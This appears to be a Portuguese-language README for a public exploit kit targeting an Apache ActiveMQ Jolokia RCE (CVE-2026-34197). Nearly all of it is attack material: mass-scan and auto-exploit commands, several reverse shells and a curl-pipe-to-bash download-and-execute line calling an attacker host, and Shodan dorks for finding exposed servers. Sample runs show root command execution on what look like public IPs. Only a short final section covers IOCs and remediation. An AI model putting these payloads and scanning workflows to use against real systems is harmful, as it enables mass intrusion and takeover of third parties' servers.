
Exploit para Apache ActiveMQ RCE via API Jolokia (CVE-2026-34197) com captura de saída de comandos, varredura em massa e auto-exploração.
Visão Geral • Detalhes • Fluxo de Ataque • Início Rápido • Guia ATTACKER_IP • Uso • Captura de Saída • Scanner • Caça • Detecção • Correção
CVE-2026-34197 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Apache ActiveMQ Classic que permite a um atacante autenticado executar comandos arbitrários do sistema operacional através da API Jolokia exposta no console web.
A vulnerabilidade existe há mais de 13 anos e reside na interação entre Jolokia (ponte HTTP-JMX), MBeans do ActiveMQ, conectores de rede e o transporte VM.
[!CAUTION] Este é um primeiro PoC público desenvolvido por KONDOR DEV SECURITY. Use apenas em avaliações de segurança autorizadas.
id, whoami, cat /etc/passwd) exibem automaticamente sua saída no seu terminalversion_check.py) — detecção de versão multithread + exploração direcionada| ID CVE | CVE-2026-34197 |
| Severidade | |
| Tipo | Execução Remota de Código (RCE) |
| CWE | CWE-20 (Validação de Entrada Incorreta) / CWE-94 (Injeção de Código) |
| Afetados | ActiveMQ Classic < 5.19.4 e 6.0.0 — 6.2.2 |
| Corrigido | 5.19.4 / 6.2.3 |
| Autenticação Necessária | Sim (credenciais padrão admin:admin são comuns) |
| Sem Autenticação | 6.0.0 — 6.1.1 (devido ao CVE-2024-32114) |
| Porta Padrão | 8161 (console web) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Análise passo a passo
| Passo | Ação | Componente |
|:----:|--------|-----------|
| **1** | O atacante envia um POST para `/api/jolokia/` invocando `addNetworkConnector` no MBean do Broker | API Jolokia |
| **2** | O ActiveMQ processa o URI de transporte `vm://` e cria um broker efêmero com `brokerConfig` apontando para uma URL remota | Transporte VM |
| **3** | O esquema `xbean:` aciona o download de um arquivo de configuração Spring XML do servidor do atacante | Spring / XBean |
| **4** | O Spring instancia todos os beans no XML, incluindo um que chama `Runtime.getRuntime().exec()` | Contexto Spring |
| **5** | Para comandos simples, a saída é capturada e enviada de volta via HTTP POST para o listener do atacante (automático) | Captura de Saída |
---
## Estrutura do Projeto```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Ambiente de Laboratório (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### Scanner + Auto-Exploit (recomendado para alvos em massa)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP (-l / --lhost)O parâmetro -l (ou --lhost) é crítico para que o exploit funcione. Ele especifica o endereço IP onde sua máquina servirá o payload Spring XML malicioso. O servidor ActiveMQ alvo deve ser capaz de alcançar este IP pela rede para baixar o payload.
ATTACKER_IP?Quando o exploit é disparado, ele diz ao ActiveMQ: "Baixe sua configuração de http://ATTACKER_IP:8888/payload.xml". O ActiveMQ então faz uma solicitação HTTP de saída para sua máquina. Se ele não conseguir alcançá-lo, o exploit falha silenciosamente.```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### Como determinar o seu `ATTACKER_IP`
| Cenário | Como encontrar | Exemplo |
|----------|---------------|---------|
| **Mesma LAN** (laboratório, pentest interno) | O seu IP local/privado | `ip a` → `192.168.1.50` |
| **VPN** (HTB, THM, rede interna) | O IP do seu túnel VPN | `ip a show tun0` → `10.10.14.23` |
| **Alvo remoto pela Internet** | O seu IP público | `curl ifconfig.me` → `203.0.113.42` |
| **VPS na nuvem** (atacando a partir de um servidor) | O IP público da VPS | Consulte o painel do seu provedor de nuvem |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| Erro | Por que falha | Correção |
|---|---|---|
Usar 127.0.0.1 ou localhost | O alvo tenta baixar de si mesmo, não de você | Use seu IP de rede real |
Usar um IP privado (192.168.x.x) para um alvo na Internet | O alvo não consegue rotear para sua rede privada | Use seu IP público ou um VPS |
Usar seu IP público, mas a porta 8888 está bloqueada | Firewall/NAT descarta a conexão de entrada do alvo | Abra a porta 8888 no firewall/roteador, ou use -lp com uma porta aberta |
Usar o IP da interface errada (ex.: eth0 em vez de tun0) | O alvo não consegue alcançar esse segmento de rede | Use a interface que tem rota até o alvo |
Antes de executar o exploit, confirme que o alvo consegue alcançar seu listener:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### Encaminhamento de portas (cenários NAT)
Se você estiver atrás de um roteador/NAT e atacando um alvo voltado para a Internet:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### Exemplo completo de fluxo de trabalho```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT] O
ATTACKER_IPem-le dentro dos comandos de reverse shell (/dev/tcp/ATTACKER_IP/4444) deve ser o mesmo IP acessível. Se você usar um IP diferente no comando de reverse shell, o shell se conectará ao lugar errado.
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### Mass Scan (Vários Alvos)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
O ficheiro targets.txt deve conter um URL por linha:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
Recursos de varredura em massa:
- **Auto-deduplicação** — URLs duplicadas são removidas automaticamente
- **Servidor HTTP único** — o servidor de payload inicia uma vez e é reutilizado para todos os alvos
- **Fallback de autenticação** — se as credenciais falharem (401), tenta novamente automaticamente sem autenticação (CVE-2024-32114)
- **Nomes de conectores aleatórios** — evita colisões de registro JMX entre alvos
- **Salvamento incremental** — alvos vulneráveis são salvos imediatamente (seguro usar Ctrl+C)
- **Suporte a HTTPS** — funciona com alvos HTTP e HTTPS
### Reverse Shells
Reverse shells e comandos com caracteres especiais (`>`, `&`, `|`, `;`, `$`, etc.) são **automaticamente codificados em base64** para evitar problemas de escape XML/shell.```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Nota: Inicie o seu listener antes de executar o exploit:
nc -lvnp 4444
Tanto o exploit.py quanto o version_check.py podem capturar e exibir automaticamente a saída de comandos para comandos simples como id, whoami, cat /etc/passwd, hostname, etc.
Quando você executa um comando simples, o exploit o envolve automaticamente para enviar stdout/stderr de volta ao seu listener via HTTP POST:``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### Exemplo com saída```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| Tipo de comando | Exemplo | Comportamento |
|---|---|---|
| Comandos simples | id, whoami, cat /etc/passwd, ls -la, uname -a | Saída capturada e exibida automaticamente |
| Reverse shells | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | Detetado como interativo — sem wrapping, funciona como antes |
| Comandos que usam curl/wget | curl http://..., wget http://... | Detetado como interativo — sem wrapping, para evitar interferência |
A deteção é automática. Não precisas de passar nenhuma flag extra.
A captura de saída requer curl ou wget no sistema alvo. Se nenhum estiver disponível:
[!TIP] A maioria dos sistemas Linux (e imagens Docker do ActiveMQ) tem
curlpré-instalado. Se a captura de saída expirar mas o RCE for confirmado, o alvo provavelmente não tem nemcurlnemwget.
| Flag | Descrição | Padrão |
|---|---|---|
-t, --target | URL de alvo único | — |
-T, --targets-file | Ficheiro com URLs de alvos (um por linha) | — |
-l, --lhost | IP do atacante para servir o payload | obrigatório |
-lp, --lport | Porta do servidor HTTP local | 8888 |
-c, --command | Comando do SO a executar | obrigatório |
-u, --user | Nome de utilizador do Jolokia | admin |
-p, --password | Palavra-passe do Jolokia | admin |
--no-auth | Ignorar autenticação | false |
--broker-name | Substituição do nome do broker | deteção automática |
-o, --output | Ficheiro de saída para alvos vulneráveis | vulnerables.txt |
--timeout-wait | Segundos para aguardar o download do payload | 15 |
Nota:
-te-Tsão mutuamente exclusivos. Usa um ou o outro.
version_check.py)A ferramenta recomendada para múltiplos alvos. Um pipeline de 2 fases que primeiro deteta versões do ActiveMQ em todos os alvos (rápido, multithreaded) e depois explora automaticamente apenas os vulneráveis com verificação real de RCE via callback do payload.
version_check.py vs exploit.py| Cenário | Ferramenta | Porquê |
|---|---|---|
| Tens uma lista de alvos e queres descobrir quais são vulneráveis | version_check.py | Verifica versões primeiro (rápido), depois explora apenas os vulneráveis |
| Queres verificar sem explorar (apenas reconhecimento) | version_check.py | Omitir -l/-c para modo apenas de verificação |
| Tens um único alvo confirmado | exploit.py | Mais simples, exploração direta |
| Queres explorar um host específico agora | exploit.py | Sem sobrecarga de verificação |
| Tens 100+ alvos do Shodan/LeakIX | version_check.py | A Fase 1 multithreaded lida com listas grandes em segundos |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### Lógica de classificação de versões
O scanner classifica as versões automaticamente com base nos intervalos afetados:
| Versão | Classificação |
|---------|---------------|
| `< 5.19.4` (ex.: 5.15.9, 5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4` (ex.: 5.19.4, 5.20.0) | `[PATCHED]` |
| `6.0.0` até `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### Guia de uso passo a passo
#### Passo 1 — Prepare o arquivo de alvos
Crie um `targets.txt` com uma URL por linha. Duplicatas são removidas automaticamente.```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] Utilize os Hunting Guides para encontrar alvos via Shodan, LeakIX, FOFA, Censys ou Google Dorks.
Se você deseja apenas identificar quais alvos são vulneráveis sem explorá-los, omita -l e -c:```bash
python version_check.py -T targets.txt
Este executa **apenas a Fase 1**. Nenhum servidor HTTP é iniciado, nenhum payload é enviado, nenhum comando é executado. O arquivo de saída conterá informações de versão para cada alvo vulnerável:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
Pode aumentar a velocidade de digitalização com mais threads:```bash python version_check.py -T targets.txt --threads 20
#### Passo 3 — Scan + auto-exploit (pipeline completo)
Para escanear **e** explorar numa única execução, adicione `-l` (o seu ATTACKER_IP) e `-c` (comando):```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
Isto executa ambas as fases:
[VULNERÁVEIS] (sequencial, com verificação de callback)[!IMPORTANT]
ATTACKER_IPdeve ser alcançável a partir dos alvos. O servidor ActiveMQ alvo fará uma solicitação HTTP de saída parahttp://ATTACKER_IP:8888/payload.xml. Consulte o guia ATTACKER_IP para detalhes sobre como escolher o IP correto.
Alvos confirmados como vulneráveis são salvos incrementalmente no arquivo de saída (padrão: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
O formato é: `URL | versão | método_de_autenticação`. Você pode então usá-los individualmente com `exploit.py` para pós-exploração adicional.
### Exemplos de uso```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
ATTACKER_IP funciona em version_check.pyO parâmetro -l comporta-se exatamente como em exploit.py, mas com uma diferença fundamental: o servidor HTTP é iniciado uma única vez e reutilizado em todos os alvos na Fase 2.```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**A Fase 1 NÃO requer `ATTACKER_IP`** — ela apenas consulta o Jolokia para obter informações de versão. Você pode executar apenas a Fase 1 para reconhecimento sem expor seu IP.
**A Fase 2 requer `ATTACKER_IP`** — os alvos devem alcançar seu servidor HTTP para baixar o payload. Se um alvo não conseguir alcançá-lo, ocorrerá timeout (padrão: 15s) e ele será marcado como "nenhum callback recebido" — mas isso não significa necessariamente que não seja vulnerável (firewalls podem bloquear tráfego de saída).
### Parâmetros
| Flag | Descrição | Padrão |
|------|-------------|---------|
| `-T, --targets-file` | Arquivo com URLs de alvos (um por linha) | *obrigatório* |
| `-l, --lhost` | IP do atacante para callback (habilita a Fase 2) | — |
| `-c, --command` | Comando a ser executado (habilita a Fase 2) | — |
| `-lp, --lport` | Porta do servidor HTTP local | `8888` |
| `-o, --output` | Arquivo de saída para alvos confirmados | `confirmados.txt` |
| `-u, --user` | Nome de usuário do Jolokia | `admin` |
| `-p, --password` | Senha do Jolokia | `admin` |
| `--no-auth` | Ignorar autenticação | `false` |
| `--threads` | Threads concorrentes para a Fase 1 | `10` |
| `--timeout` | Timeout por requisição na Fase 1 | `10s` |
| `--wait` | Segundos para aguardar callback na Fase 2 | `15s` |
> **Nota:** Tanto `-l` quanto `-c` devem ser fornecidos juntos para habilitar a Fase 2. Se algum deles estiver ausente, apenas a Fase 1 (varredura) será executada.
### Recursos
- **Pipeline de 2 fases** — varredura rápida de versões primeiro, depois exploração direcionada
- **Fase 1 multithread** — varre centenas de alvos em segundos
- **Detecção inteligente de broker** — lida com respostas de curinga `brokerName=*`, extrai o nome real do broker das chaves MBean
- **Fallback de autenticação** — se `admin:admin` falhar (401), tenta novamente sem autenticação (CVE-2024-32114)
- **Nomes de conectores aleatórios** — evita colisões JMX (`rce{random8}` único por alvo)
- **Empacotamento base64 automático** — reverse shells e caracteres especiais funcionam imediatamente
- **Salvamento incremental** — alvos confirmados são salvos imediatamente (seguro usar Ctrl+C no meio da varredura)
- **Modo somente varredura** — omita `-l`/`-c` para apenas detectar versões sem explorar
- **Classificação de versões** — marca `[VULNERABLE]` / `[PATCHED]` com base nas faixas afetadas
- **Servidor HTTP único** — iniciado uma vez na Fase 2, reutilizado para todos os alvos (sem conflitos de porta)
### Reverse shells com `version_check.py`
Ao usar `version_check.py` para enviar um reverse shell, você precisa de **duas coisas rodando simultaneamente**:
1. Um **listener netcat** na sua máquina aguardando a conexão de shell de entrada
2. O comando **version_check.py** que varre e explora os alvos
A porta do listener (`nc -lvnp PORT`) **deve corresponder** à porta dentro do comando do reverse shell (`/dev/tcp/ATTACKER_IP/PORT`).```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### Usar uma porta diferente
Pode usar qualquer porta que pretenda, desde que ambos os lados coincidam:```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **Confusão de portas a evitar:** O exploit usa **duas portas diferentes** para dois propósitos distintos:
> - `-lp` (padrão `8888`) — a porta do servidor HTTP onde o ActiveMQ baixa o payload XML. Isso é tratado automaticamente pelo script.
> - A porta dentro de `/dev/tcp/.../4444` — a porta de callback do reverse shell onde VOCÊ escuta com `nc`. Isso é sua responsabilidade abrir.
>
> Elas são **independentes**. Não as confunda. Você precisa de `nc -lvnp 4444` para o shell, e o script lida com `:8888` internamente.
### Exemplo de saída```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| Resultado da Fase 2 | O que significa | Próximo passo |
|---|---|---|
RCE CONFIRMED + Command output: | O alvo executou o comando e enviou a saída de volta | Sucesso total — você pode ver a saída diretamente |
RCE CONFIRMED (sem saída) | O alvo baixou o payload, mas nenhuma saída foi recebida | O RCE funciona, mas curl/wget podem estar ausentes no alvo; use um reverse shell |
No callback received within Ns | O alvo não alcançou seu servidor HTTP a tempo | Verifique a acessibilidade do ATTACKER_IP, firewalls ou aumente --wait |
Jolokia accepted (status=200) | O Jolokia processou a solicitação com sucesso | Bom sinal — aguarde o callback |
Jolokia status=500: ... | O Jolokia retornou um erro | Pode funcionar mesmo assim (o download do XML pode ocorrer apesar do 500); verifique os logs |
HTTP 401 | Falha de autenticação para este alvo | O alvo precisa de credenciais diferentes |
HTTP 403 | O Jolokia está restrito | O alvo tem ACLs — não explorável com este método |
Connection refused / Timeout | O alvo está inacessível | Problema de rede ou o alvo está fora do ar |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## Caça e Reconhecimento
Guias detalhados para encontrar instâncias Apache ActiveMQ expostas usando **Shodan**, **LeakIX**, **FOFA**, **Censys**, **ZoomEye** e **Google Dorks** — incluindo dorks específicos por versão, detecção de Jolokia, uso de CLI/API, etapas de validação de alvos, regras de SIEM/IDS e prioridades de remediação.
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### Dorks Rápidos do Shodan```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### Validação do Alvo```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] Consulte os guias completos em
docs/para dorks específicos de versão, filtros geográficos, exemplos de API, regras de IDS e fluxos de trabalho de validação passo a passo.
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **Nota:** A parte `rce*` conterá caracteres aleatórios (ex.: `rcek4m2x9ab`) pois o exploit randomiza os nomes dos conectores.
### IOCs
| Indicador | Descrição |
|-----------|-------------|
| POST `/api/jolokia/` com `addNetworkConnector` | Tentativa de exploração |
| HTTP GET de saída do processo ActiveMQ | Download do XML do payload |
| HTTP POST de saída do processo ActiveMQ (exfiltração de saída de comandos) | Callback de captura de saída |
| URIs `vm://` com `brokerConfig=xbean:http` | Conector malicioso |
| Processos filhos inesperados do Java/ActiveMQ (`curl`, `wget`, `bash`) | Execução de comandos / exfiltração de saída |
---
## Remediação
| Prioridade | Ação |
|----------|--------|
| **P0** | Atualizar para ActiveMQ Classic **5.19.4** ou **6.2.3** |
| **P1** | Alterar as credenciais padrão do console web |
| **P2** | Restringir o acesso de rede à porta **8161** |
| **P3** | Monitorar os logs do broker em busca de URIs `vm://` com padrões `xbean:http` |
---
## Solução de Problemas
| Problema | Causa Provável | Solução |
|---------|-------------|----------|
| `Nenhuma solicitação de payload recebida em 15s` | O alvo não consegue alcançar seu ATTACKER_IP | Verifique a conectividade (veja o [guia ATTACKER_IP](#understanding-attacker_ip---lhost)) |
| `Falha na autenticação (401)` | Credenciais incorretas | Tente `--no-auth` (ActiveMQ 6.0.0-6.1.1) ou encontre as credenciais corretas |
| `Acesso proibido (403)` | A API Jolokia está restrita | O alvo pode ter ACLs em `/api/jolokia/` — não explorável remotamente |
